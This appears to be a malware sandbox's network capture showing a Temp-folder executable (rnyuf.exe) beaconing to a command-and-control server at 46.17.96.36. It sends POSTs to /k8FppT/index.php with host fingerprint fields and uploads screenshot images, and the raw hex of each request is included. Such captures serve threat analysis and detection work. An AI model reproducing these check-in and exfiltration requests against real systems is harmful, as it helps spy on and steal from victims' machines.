Aug 29, 2021 22:28:57.686894894 CEST	16978	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:57.686924934 CEST	16981	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:57.687077045 CEST	16994	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:28:57.795794964 CEST	17041	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.4	50014	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:57.938375950 CEST	17042	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:58.010979891 CEST	17043	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.4	50015	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:58.157483101 CEST	17043	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:58.157567978 CEST	17044	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:58.157725096 CEST	17054	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:58.157802105 CEST	17056	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:58.193156004 CEST	17059	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:58.193186045 CEST	17065	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:58.193351030 CEST	17076	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:58.193373919 CEST	17082	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:58.228740931 CEST	17085	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:58.228854895 CEST	17088	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:58.228923082 CEST	17106	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:58.336477041 CEST	17152	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.4	50016	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:58.227839947 CEST	17082	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:58.303807974 CEST	17151	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.4	50017	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:58.529922962 CEST	17153	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:58.605307102 CEST	17153	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:58.912298918 CEST	17154	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:58.912405014 CEST	17154	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:58.912587881 CEST	17164	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:58.912724018 CEST	17167	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:58.946156025 CEST	17169	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:58.946197987 CEST	17172	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:58.946216106 CEST	17175	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:58.946254969 CEST	17183	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:58.946335077 CEST	17188	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:58.946373940 CEST	17191	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:28:58.946398020 CEST	17193	OUT	Data Raw: 79 27 f7 e9 ff 00 0c 3b 51 fb ff 00 2f eb 53 4a d7 4c f0 e5 d2 68 30 38 d5 22 9b 5c f3 3c 9b 8f 3e 36 48 0f 9c f1 c6 1a 3f 2c 16 fb ab 92 1c 75 24 0e d4 cb af 0f 25 97 84 6d 35 23 a2 eb 37 33 4b 14 c6 7b b8 64 1f 66 b6 74 99 e3 c3 01 11 fe e8 3f Data Ascii: y';Q/SJLh08"\<>6H?,u$%m5#73K{dft?\|uv"DZB:Cdi4[2J dr4.H2Fd4&q>;^.5xWE}m,K]r.wY"5i;\X[o1d:;mcqp
Aug 29, 2021 22:28:59.085366964 CEST	17262	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.4	50018	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:59.046657085 CEST	17262	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:59.122509003 CEST	17262	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49763	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:22.981399059 CEST	4041	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:22.981522083 CEST	4041	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:22.981748104 CEST	4052	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:22.981930971 CEST	4054	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:23.019571066 CEST	4057	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:23.019896984 CEST	4080	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:23.054934025 CEST	4082	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:23.055016994 CEST	4092	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:23.055061102 CEST	4098	OUT	Data Raw: a6 5e 1f f4 d9 bf df 34 fd 13 9d 5a 1f ad 47 79 ff 00 1f b3 7f be 6b 9f fe 5f 3f 42 e5 fc 2f 99 0d 06 81 41 ad 8e 71 69 45 34 75 a7 50 21 68 a2 8a 42 16 8e f4 51 48 43 85 14 dc d2 83 48 05 a2 8a 28 10 b4 51 45 00 2d 2d 25 02 90 87 53 d3 ef 0a 8e Data Ascii: ^4ZGyk_?B/AqiE4uP!hBQHCH(QE--%S:`[N<cyy^/,f@[:2ra~+_b4fNKNOA8RRfMe!Gjx-)RNZ@i9!SC-p
Aug 29, 2021 22:27:23.055257082 CEST	4117	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:23.055311918 CEST	4130	OUT	Data Raw: 8b 23 4b 57 3f bb 91 1b e8 e0 d3 0e 93 27 a3 81 ea 56 98 10 9e d5 66 18 6e 38 d8 5d 7e 87 15 0d ce 3d 4a 8c 94 b6 45 53 a5 cd fc 3b 4f d4 e2 98 da 65 d0 ff 00 96 4c 7d c5 6f c1 0d e1 c6 66 63 ec 79 ad 6b 68 2e 4e 32 a8 df 55 ac 27 8b 94 0e da 58 Data Ascii: #KW?'Vfn8]~=JES;OeL}ofcykh.N2U'XgS&3nk<=b}0`htvG'=$&MbS:fk s4eA~"5b)Y#sC$:Xl,\|Ju6t?;5dUgO
Aug 29, 2021 22:27:23.172096014 CEST	4149	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
